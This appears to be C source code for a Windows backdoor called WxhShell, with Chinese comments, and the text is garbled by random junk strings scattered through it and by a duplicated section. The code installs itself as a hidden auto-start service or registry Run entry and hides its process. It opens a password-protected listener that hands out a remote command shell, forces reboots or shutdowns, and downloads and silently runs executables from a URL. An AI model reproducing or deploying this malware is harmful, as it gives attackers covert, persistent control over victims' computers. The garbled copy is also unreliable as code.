,"EnumProcessModules"); #e9B|Y?b g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bM-Y4[ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }*R"yp :m37Fpz&b if (!NtQueryInformationProcess) return 0; 8tdUnh%/ "%.#/!RG hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3}h&/KN{ if(!hProcess) return 0; a#raUF7e 8AefgjE if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]AHUo;(f% cA/2,i CloseHandle(hProcess); dUe"qH29s {Ua5bSbh hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {X"X.`p if(hProcess==NULL) return 0; 8"<!8Img W
B!$qie\ HMODULE hMod; (yX Vp2k char procName[255]; f ~Fus unsigned long cbNeeded; ^)fB
"!s qA"?5 j32 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B'
:ZX-Q) P{}Oe
*9" CloseHandle(hProcess); 5:s]z#8) 0c3G_I= if(strstr(procName,"services")) return 1; // 以服务启动 -Z;:_"&9 Jhj]rsGk return 0; // 注册表启动 H/L3w|2+ } Z2$-},i +pFz&)? // 主模块 N7;E 2 X int StartWxhshell(LPSTR lpCmdLine) i5AhF\7F9 { (=PnLP SOCKET wsl; >Y\4v}- BOOL val=TRUE; st+Kz uK int port=0; Br yMq ! struct sockaddr_in door; =Wjm_Rvk9 >yWJk9hf if(wscfg.ws_autoins) Install(); 9Q.j
< zc2,Mn2 port=atoi(lpCmdLine); yqBu7E$X I9u=RIs if(port<=0) port=wscfg.ws_port; Jz|(B_U xv%}xeEV WSADATA data; RV($G8U if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k[zf`x^ ?.Kl/8ml if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >eEf|tKO setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); snK9']WXo door.sin_family = AF_INET; H~$|y9>qI door.sin_addr.s_addr = inet_addr("127.0.0.1"); #`W8-w door.sin_port = htons(port); XG[%oL -#i%4[v if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3{_+dE"9 closesocket(wsl); d@l;dos), return 1; CjST*(,b } <y'ttxeS Fj&vWj`* if(listen(wsl,2) == INVALID_SOCKET) { %(e=Q^= closesocket(wsl); _ Po9pZ return 1; Ec[:6} } >N3{*W Wxhshell(wsl); MD
On; Af> WSACleanup(); A9R}74e4g 3n/L;T,X return 0; Jg Xbs+. Zg'[.wov } 2
43DdIG$ "*T)L<G // 以NT服务方式启动 FE5R
^W#u- VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1rKR=To { .DX#:?@4@Y DWORD status = 0; [Dt\E4 DWORD specificError = 0xfffffff; z7K?rgH "ulaF+ serviceStatus.dwServiceType = SERVICE_WIN32; JBYQ7SsAS0 serviceStatus.dwCurrentState = SERVICE_START_PENDING; dKMuo'H'% serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2MC\~"L< serviceStatus.dwWin32ExitCode = 0; 81n%2G serviceStatus.dwServiceSpecificExitCode = 0; TcIUo!:z serviceStatus.dwCheckPoint = 0; P*LcWrK serviceStatus.dwWaitHint = 0; dqkkA/1 4-"wFp hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XmnqZWB if (hServiceStatusHandle==0) return; IX>|bA; Y.73I83-j status = GetLastError(); 3LTO+>, |" if (status!=NO_ERROR) Q\rqG { 8t^"1ND serviceStatus.dwCurrentState = SERVICE_STOPPED; hh?'tb{ serviceStatus.dwCheckPoint = 0; zZRqb/20 serviceStatus.dwWaitHint = 0; j[HKC0C6 serviceStatus.dwWin32ExitCode = status; 42C:cl} ." serviceStatus.dwServiceSpecificExitCode = specificError; ZD<,h`
lZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); /qCYNwWH9 return; P o_9M4kU } 4H,DG`[Mo z_H2L"Z serviceStatus.dwCurrentState = SERVICE_RUNNING; 2Fh_ serviceStatus.dwCheckPoint = 0; &p%,+| serviceStatus.dwWaitHint = 0; z=xHk|+' if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h}oQr0"c } #[si.rv-> H z6H,h // 处理NT服务事件,比如:启动、停止 q[#\qT&QU VOID WINAPI NTServiceHandler(DWORD fdwControl) 5FzRusNiA { I)x:NF6JO switch(fdwControl) :.~a[\C@V< { jTqba:q@ case SERVICE_CONTROL_STOP: V.F 's(o serviceStatus.dwWin32ExitCode = 0; nFP2wvFM serviceStatus.dwCurrentState = SERVICE_STOPPED; Q?>#sN, serviceStatus.dwCheckPoint = 0; wiVQMgi` serviceStatus.dwWaitHint = 0; ?1{`~)" { @U)'UrNr~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6M6QMg^ } ,'9tR&S$_ return; a_ P[J8j case SERVICE_CONTROL_PAUSE: }J*&()` serviceStatus.dwCurrentState = SERVICE_PAUSED; ^4[\-L8Lpq break; NqWHR~& case SERVICE_CONTROL_CONTINUE: Z:*U/_G serviceStatus.dwCurrentState = SERVICE_RUNNING; aw 7f$Fqk break;
ZBXGuf case SERVICE_CONTROL_INTERROGATE: lfA
BF break; ^DH*@M }; 9,Mp/.T" \ SetServiceStatus(hServiceStatusHandle, &serviceStatus); <r kW4 } RgO 7> T\ 29]8[Z,4 // 标准应用程序主函数 H )}WWXK int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bDkE*4SRX { 8 N` $7^^ *"5a5.`%, // 获取操作系统版本 `%Ghtm * OsIsNt=GetOsVer(); y"hM6JI GetModuleFileName(NULL,ExeFile,MAX_PATH); MT5A%|H e I%&9`ceWY // 从命令行安装 EH3G|3^xz if(strpbrk(lpCmdLine,"iI")) Install(); yI%>
w4Z EzyIsp> _ // 下载执行文件 G225Nz;Y* if(wscfg.ws_downexe) { <8bO1t^* if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KCFwO' WinExec(wscfg.ws_filenam,SW_HIDE); mx[^LaR>v } o`U\Nhq VB#31T#q? if(!OsIsNt) { g5Vr2 // 如果时win9x,隐藏进程并且设置为注册表启动 2%8Y-o? HideProc(); 3oKGeB;Ja StartWxhshell(lpCmdLine); [0LqZ<\5 } >(CoXSV5 else vz:0"y if(StartFromService()) g?VME]: // 以服务方式启动 qIT{` hX StartServiceCtrlDispatcher(DispatchTable); 85fDuJ9$Z" else AN>`M?EQ // 普通方式启动 B#MW`7c StartWxhshell(lpCmdLine); ^zJ.W S=g-&lK return 0; v6VhXV6$| } i6CYD Ak1)
]mj+*l5 55DzBV =========================================== Vr1|%*0Tv >l1Yhxd_0* IpJ v\zH7 O)|4>J*B Ltw7b <`3(i\-X " EAB+kY K)+l 6Q #include <stdio.h> ?GarD3#A #include <string.h>
D.o|($S0 #include <windows.h> 3R*@m #include <winsock2.h> X-,y[ ) #include <winsvc.h> LwPM7S~ * #include <urlmon.h> cv4M[]U~ 2S6EDXc #pragma comment (lib, "Ws2_32.lib") =.oWg uzu #pragma comment (lib, "urlmon.lib") ws?s I0vnd7 #define MAX_USER 100 // 最大客户端连接数 D,j5k3< # #define BUF_SOCK 200 // sock buffer @>IjfrjV #define KEY_BUFF 255 // 输入 buffer ,rI
|+ A4FDR# #define REBOOT 0 // 重启 CD1=2 #define SHUTDOWN 1 // 关机 _0["J:s9 /A.i5=k #define DEF_PORT 5000 // 监听端口 /&:9VMMj UMwMXmZNJ #define REG_LEN 16 // 注册表键长度 BDRVT Y(s #define SVC_LEN 80 // NT服务名长度 Vk_&W.~ t)Q@sKT6 // 从dll定义API ('-}"3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X9A[
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |a$w;s>\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <57l|}8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /VO@>Hoh _0q~s@- // wxhshell配置信息 8{fz0H.<? struct WSCFG { FqxOHovE int ws_port; // 监听端口 1GE%5 char ws_passstr[REG_LEN]; // 口令 TDE1z>h+" int ws_autoins; // 安装标记, 1=yes 0=no X&?lDL7? char ws_regname[REG_LEN]; // 注册表键名 T\!SA char ws_svcname[REG_LEN]; // 服务名 T;r];Y(b* char ws_svcdisp[SVC_LEN]; // 服务显示名 (OcNC/9 char ws_svcdesc[SVC_LEN]; // 服务描述信息 )v{41sM+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -xu.=n@, int ws_downexe; // 下载执行标记, 1=yes 0=no R(83E
B~_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nvK7*- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <`_OpNxqW niEEm`" }; yLO
&(Mb :@`(}5F4 // default Wxhshell configuration s|j<b#<xQ struct WSCFG wscfg={DEF_PORT, &9_\E{o%] "xuhuanlingzhe", <o7#?AcPu 1, yXV|4 "Wxhshell", (g/X(3 "Wxhshell", 5[2.5/ "WxhShell Service", 50GYL5)q "Wrsky Windows CmdShell Service", )R)$T' "Please Input Your Password: ", 1R%`i'$/ 1, W}2 &Pax "http://www.wrsky.com/wxhshell.exe", L sDzV) "Wxhshell.exe" )g:,_ 1s)| }; >_aio4j}r "]s|D@^4#b // 消息定义模块 {/A)t1nL char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a!y,!EB+Qu char *msg_ws_prompt="\n\r? for help\n\r#>"; /D$+b9FR< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T[XP\!z]B! char *msg_ws_ext="\n\rExit."; \_Kt6= char *msg_ws_end="\n\rQuit."; ?hJsN char *msg_ws_boot="\n\rReboot..."; bjPbl2K char *msg_ws_poff="\n\rShutdown..."; -V
u/TT0 char *msg_ws_down="\n\rSave to "; (d'j'U:C a5}44/% char *msg_ws_err="\n\rErr!"; 9^QYuf3O char *msg_ws_ok="\n\rOK!"; wz*A<iU #}!>iFBcH char ExeFile[MAX_PATH]; r d6F"W int nUser = 0; Ls>u`hG HANDLE handles[MAX_USER]; 8yWu{'G int OsIsNt; .eabtGO, W-!Bl&jF[ SERVICE_STATUS serviceStatus; rbK#a)7 SERVICE_STATUS_HANDLE hServiceStatusHandle; |aS~"lImh Cj !i)- // 函数声明 <duBwkiG int Install(void); [|[sYo int Uninstall(void); mfngbFa1 int DownloadFile(char *sURL, SOCKET wsh); |J<pLz int Boot(int flag); ~1=.?Ho void HideProc(void); ?z@v3(b[ int GetOsVer(void); % O&m#)| int Wxhshell(SOCKET wsl); sUbz)BS#. void TalkWithClient(void *cs); :PD`PgQ int CmdShell(SOCKET sock); `\ef0 int StartFromService(void); }(+=/$C"# int StartWxhshell(LPSTR lpCmdLine); uZo`IK J c{,y{2c]LT VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =X`]Ct8Z VOID WINAPI NTServiceHandler( DWORD fdwControl ); /NW>;J}C &,N3uy;Gc // 数据结构和表定义 (~G5t(+ SERVICE_TABLE_ENTRY DispatchTable[] = Gf
H*,1x { ii_|)udz {wscfg.ws_svcname, NTServiceMain}, :m*!?QGdL {NULL, NULL} G9i)nWr }; $m:2&lU3 &Mhv XHI // 自我安装 [+%d3+27 int Install(void) {1Ju}=69 { 1 ;\]D9i char svExeFile[MAX_PATH]; ']ITuP8 HKEY key; KUp strcpy(svExeFile,ExeFile); <+T\F; *K+jsVDY // 如果是win9x系统,修改注册表设为自启动 ]_ejDN\>{V if(!OsIsNt) { cuQ7kECV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 29a_ZU7e6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hJw
|@V RegCloseKey(key); FQk_#BkK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mhb '^\px RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H@%7\g,` RegCloseKey(key); .'^6QST return 0; YPha9M$AgU } K0O-WJ } ]pOYVf *$ } 9h:jFhsA9 else { Lp:Nw4 _ nDHHYp // 如果是NT以上系统,安装为系统服务 H.YIv50E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4|>
rwQ~t if (schSCManager!=0) p^KlH=1n.6 { Rwc[:6;fn SC_HANDLE schService = CreateService I&TTr7 ( JrCf,?L^ schSCManager, +36H%&! wscfg.ws_svcname, xFBh? wscfg.ws_svcdisp, {{V;:+62 SERVICE_ALL_ACCESS, T-a&e9B SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vs_\ykO SERVICE_AUTO_START, r6d0x SERVICE_ERROR_NORMAL, k4qLB1&, svExeFile, z5XYpi_;[ NULL, _M8G3QOx NULL, :3KO6/+ NULL, r{t.c?/ NULL, MV"E?}0 NULL @sc8}"J]# ); <i\UMrD]`: if (schService!=0) ?^%YRB& { k$e D(cW$ CloseServiceHandle(schService); yz[%MXI CloseServiceHandle(schSCManager); +1otn~(E strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Nb~,`bu,2 strcat(svExeFile,wscfg.ws_svcname); +
,@ FxZl if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {0is wq'J RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Km6Ub?/7o RegCloseKey(key); K0tV'Ml#" return 0; i\t753<Ys }
xS=_yO9- } <8u>_o6 CloseServiceHandle(schSCManager); o3Mf:;2c C } BZovtm3E } k$ZRZ{
E+ )R jb/3*! return 1; @v>l[6]>^ } Mw/?wtW vuYO\u+ud // 自我卸载 7JbY}@ int Uninstall(void) 'e}uvbK { {eEBrJJeB HKEY key; _Zh2eXWdjM GwcI0~5 if(!OsIsNt) { fuq(
2&^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "6?lQw
e RegDeleteValue(key,wscfg.ws_regname); #v{ Y=$L RegCloseKey(key); T"n{WmVQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -glugVq RegDeleteValue(key,wscfg.ws_regname); Rw{$L~\ RegCloseKey(key); IikG/8lP return 0; L
;6b+I } T!MZ+Ph`F } d; 9*l!CF } iJFr4o/R else { d)N^PJ/ +T9Q_e* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eymi2-a< if (schSCManager!=0) ? m&IF<b { :.Y|I[\E% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dVa!.q_3 if (schService!=0) DhZ:#mM{ { e"]"F{Q if(DeleteService(schService)!=0) { YPu9Q CloseServiceHandle(schService); ?N:B CloseServiceHandle(schSCManager); rvW!7-R return 0; 2;8Xz6T } $30oc
Tt{ CloseServiceHandle(schService); W7t
>&3l } |~z3U> CloseServiceHandle(schSCManager); Odm#wL~E } IE2CRBfs } 1j11|~ VM7 !0 return 1; $H'8
#:[d_ } ^7.XGWQ)- 1n_;kaY // 从指定url下载文件 AIb>pL{ int DownloadFile(char *sURL, SOCKET wsh) tE@FvZC'= { l';pP^.q HRESULT hr; <j;]!qFR char seps[]= "/"; ',GV6kt_k char *token; o7.e'1@ char *file; $*k)|4 char myURL[MAX_PATH]; kBo;h.[l char myFILE[MAX_PATH]; -LTKpN`[@ wzd`l?o, strcpy(myURL,sURL); ndw7v token=strtok(myURL,seps); ;+sl7qlA4 while(token!=NULL) xOythvO { t-WjL@$F/ file=token; tR1FO%nC token=strtok(NULL,seps); wxE?3%.j\ } {(4# )K2g% Wbe0ZnM] GetCurrentDirectory(MAX_PATH,myFILE); C}q>YRubZ strcat(myFILE, "\\"); .jA\f:u# strcat(myFILE, file); Z^+rQ.%n"& send(wsh,myFILE,strlen(myFILE),0); qe?Qeh(!X send(wsh,"...",3,0); +Gow5-( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); % #u.J
if(hr==S_OK) 3V?817&6z return 0; /t*YDWLg else @xS]!1- return 1; [F+,YV%t _-O cc=Z } &iqw!
ud ~O{W;Cyh // 系统电源模块 \6o\+OQk int Boot(int flag) 3+ =I;nj { mk%b9Ko<F HANDLE hToken; f8=]oa] TOKEN_PRIVILEGES tkp; 6W&_2a7* ?1peF47Z if(OsIsNt) { zPR8f-U vw OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %m eLW& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?DPHo)w tkp.PrivilegeCount = 1; Z.'syGuV tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~EEs}i AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9#qeFBI if(flag==REBOOT) { "k:=Y7Dx if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F)SP aC4 return 0; ]3ifdGk } aE)by-' else { T/l1qcf`wT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :HRT 2I return 0; E=AVrv5T } jZd}OC< } n*<v]1 else { .po>qb6 if(flag==REBOOT) { o_f-GO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e\F}q)_ return 0; [ ny6W9 } ZSB?Y1wG else { l+[czb~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vN65T$g7 return 0; n-J2/j } dz-y}J11 } t>xd]ti (RE2I return 1; Q9c)k{QZ } #H~_K}Ks \S ."?!U // win9x进程隐藏模块 booRrTS void HideProc(void) .TpsJXF { M:n 6BC>t" ~Y7dH
Dn HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vn, ><g if ( hKernel != NULL ) q/PNJ#< { ^A9M;q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p=Y>i 'CG ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *jITOR!uF` FreeLibrary(hKernel); pK}=*y~$ } ? mv:neh IRW^ok.'b! return; V5p0h~PK } jVWK0Zba qf#)lyr<D6 // 获取操作系统版本 poT&-Ic[ int GetOsVer(void) (=u'sn:s { 94/BG0 OSVERSIONINFO winfo; )8,|-o= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7K;!iX<d GetVersionEx(&winfo); @?kJ). if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #_JYh? return 1; )nfEQ)L;h} else A m"(+>W21 return 0; BPv>$
m+. } cn`iX(ZgR !%)]56( // 客户端句柄模块 2g-` ]Vqb int Wxhshell(SOCKET wsl) ny*i+4Mb { O.QK"pKD\ SOCKET wsh; FX}Gt= struct sockaddr_in client; ezm&]F` DWORD myID; n3KI+I%nQ ZZxk]D< while(nUser<MAX_USER) :"1|AJo) { ]a'99^?\ int nSize=sizeof(client); zjl!9M! wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h6:#!Rg if(wsh==INVALID_SOCKET) return 1; wT,R0~V0 b:W-l? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E4z)Mr# if(handles[nUser]==0) 6.WceWBR closesocket(wsh); >''U else A8r^)QJP{ nUser++; /F)H\* } :-T*gqj| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -NJ!g/ >mM 7[pBUDA return 0; neZ.`"LV } u]*0;-tz % Zjdl // 关闭 socket <0P5 o| void CloseIt(SOCKET wsh) 8\.b4FNJ { Yk!/ow@. closesocket(wsh); 0RFRbi@n( nUser--; nh+l78 ExitThread(0); Z4b|| } }<a^</s Smw QET<H // 客户端请求句柄 p4!:]0c void TalkWithClient(void *cs) p'_%aVm7 { +]Zva:$#` (V:E2WR SOCKET wsh=(SOCKET)cs; V!_71x\-Q char pwd[SVC_LEN]; KqY["5p char cmd[KEY_BUFF]; uVE.,)xz char chr[1]; q*7<)VwI int i,j; PNs~[ =FP0\cQ. while (nUser < MAX_USER) { 4GdX/6C. 58Xzup_" if(wscfg.ws_passstr) { e'%v1-&sP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "qz3u`[o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zdc63fllM //ZeroMemory(pwd,KEY_BUFF); CNZ z]H i=0; Q4*?1`IsR while(i<SVC_LEN) { ElhRF{R !>,m&O-x // 设置超时 "hxN !,DEZ fd_set FdRead; \JEXX4% struct timeval TimeOut; m,i,n9C-> FD_ZERO(&FdRead); pKiZ)3U FD_SET(wsh,&FdRead); N["W Ir TimeOut.tv_sec=8; nAIo{
F TimeOut.tv_usec=0;
s#~GH6/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8BOZh6BV if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .IBp\7W!?E 'rp }G&m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bV+(b9 pwd=chr[0]; tG vG if(chr[0]==0xd || chr[0]==0xa) { -VxTx^)> pwd=0; 4fk8*{Y break; ~c^>54 } e}/Lk5q! i++; &s Pq<l o } Z>c3 lGwl1,= // 如果是非法用户,关闭 socket RqEH|EUZ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,mhQ"\ +C } Qd}m`YW-f$ )a9 ]US^ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >(uZtYM\j send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y&}E~5O *4+3ObA while(1) { Vtc36-\1* * _a@z1 ZeroMemory(cmd,KEY_BUFF); {"oxJ`z4 gVQjL+_W // 自动支持客户端 telnet标准 Nkxmm/Z j=0; 0"2=n.## while(j<KEY_BUFF) { m(RXJORI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *n"/a{6> cmd[j]=chr[0]; UcBe'r}G if(chr[0]==0xa || chr[0]==0xd) { \PDd$syDA cmd[j]=0; NI#X@ break; NH$r
Z7$ } ,@1p$n j++; A+6 n# } \drqG&wl (py]LBZ // 下载文件 w0w G-R ? if(strstr(cmd,"http://")) { G'3qzBJ# send(wsh,msg_ws_down,strlen(msg_ws_down),0); G9g1hie@% if(DownloadFile(cmd,wsh)) O"Ku1t! send(wsh,msg_ws_err,strlen(msg_ws_err),0); il|1a8M2~ else ~ P~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M@ed>. } JkW9D)6 else { nJ~drG}TD -@T/b$]'n switch(cmd[0]) { zSo)k~&[3 Q+4Xs.# // 帮助 T,|
1g6 case '?': { X[f=h=| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \j&^aAp r break; UnI48Y } J7r|atSk // 安装 Neg,qOt case 'i': { !9Aaj<yxm if(Install()) T&Lb<'f send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^i:`ZfA# else (aD_zG=k5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5:'hj$~|\1 break; pdE3r$C } | WvU q // 卸载 w)Covz'uf case 'r': { @V03a
)6,h if(Uninstall()) E b=}FuV send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Z:~91Tv-_ else jDQZQ NS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ f# FI& break; os/vtyP:a } [IK ) // 显示 wxhshell 所在路径 fk_o@
G!0 case 'p': { ],P;WPU char svExeFile[MAX_PATH]; v{}#?=I5 strcpy(svExeFile,"\n\r"); ,"B+r6}EF strcat(svExeFile,ExeFile); Iu$K i send(wsh,svExeFile,strlen(svExeFile),0); `w]s;G[ break; y@\V+ } Yo[;W
vu // 重启 qWmQ-|Py case 'b': { YW{C} NA send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dd]/.Z if(Boot(REBOOT)) lsJnI| send(wsh,msg_ws_err,strlen(msg_ws_err),0); !?|Th5e else { CiB%B`,N closesocket(wsh); ,?L2wl[ ExitThread(0); ki85!k=Q2 } % LJs break; J>/w5$h5 } {GC?SaK // 关机 F7Zwh5W case 'd': { TY1I=8 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O BN2 ) j if(Boot(SHUTDOWN)) {)-aSywe send(wsh,msg_ws_err,strlen(msg_ws_err),0); w Xsmn1w9 else { ~R(%D-k closesocket(wsh); )E~79! ExitThread(0); >%wLAS",w } tg{H9tU; break; Hla0 5N' 4 } TA{\PKA) // 获取shell ]Ux<aiY]a
case 's': { ~Q\3pI. | CmdShell(wsh); 7D<#(CE{ closesocket(wsh); ]MxC_V+P` ExitThread(0); {7)st
W break; ub|V\M{ } Yl3n2R /U // 退出 5-M&5f. case 'x': { ELj\[&U send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z_|/5$T>U CloseIt(wsh); hNzB4p break; |o\8 } y~FV2$ // 离开 &}A[x1x06) case 'q': { gSh+}r<7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); M8tRjNWS? closesocket(wsh); ;cQ6g`
bM\ WSACleanup(); }2e??3 exit(1); ho$+L break; bua+I;b } gM
_hi } ]wtb-PC } QDu 2?EYZq o#skR4lwe // 提示信息 Rb.SY{}C if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g[3)P+ } 9^j &VmF } !P-^O IP(Vr7-v return; L|,!?cSAT } ;UfCj5`Q)4 Z-l=\ekJ // shell模块句柄 8|" XSN int CmdShell(SOCKET sock) ;A*`e$ { :3I@(k\PY STARTUPINFO si; #Y4=J
6 ZeroMemory(&si,sizeof(si)); 1~PV[2a si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
~/P&Tub^ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \ioH\9 PROCESS_INFORMATION ProcessInfo; `|/<\ char cmdline[]="cmd"; (Tbw3ENz CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MgY0q?.S= return 0; #*KNPh } lR(+tj)9uO svq<)hAf< // 自身启动模式 {QwHc5Bf int StartFromService(void) @0F3$ { ?nmn1`UT typedef struct pim!.=vN/U { #H:7@ DWORD ExitStatus; ROous4 MG DWORD PebBaseAddress; )/wk( O+ DWORD AffinityMask; K2<9mDn& DWORD BasePriority; wbst8*$ ULONG UniqueProcessId; k<"oiCE ULONG InheritedFromUniqueProcessId; <?@NRFTe } PROCESS_BASIC_INFORMATION; 3h *!V6%q @WVcY:1t# PROCNTQSIP NtQueryInformationProcess; WUh$^5W h"/<?3{ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zd')57{ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;t|Ii8Ne ^G.B+dG@`x HANDLE hProcess; +>r/ 0b PROCESS_BASIC_INFORMATION pbi; c\Q7"!e nuw70*ell HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W#hj 1 if(NULL == hInst ) return 0; =,UWX3`f Y$?9Zkp> g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tQBRA/ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); , T8>}U( NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6e[VgN-s lw<c2C if (!NtQueryInformationProcess) return 0; [@5Ytv H 5.MGaU^Z$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ; ShJi if(!hProcess) return 0; 28UU60 JW3B'_0 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i*@<y/&' iT%} $Lu~ CloseHandle(hProcess); yc?a=6q'm }#n;C{z2e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); orjj'+;X if(hProcess==NULL) return 0; LyAn&h} ce7CcHQ?B HMODULE hMod; Yo|,]X>/ char procName[255]; <c2'0I > unsigned long cbNeeded; Z\k&gio5C^ \Hn>oonph if(g_pEnumProcessModules(hProcess, &hMod, 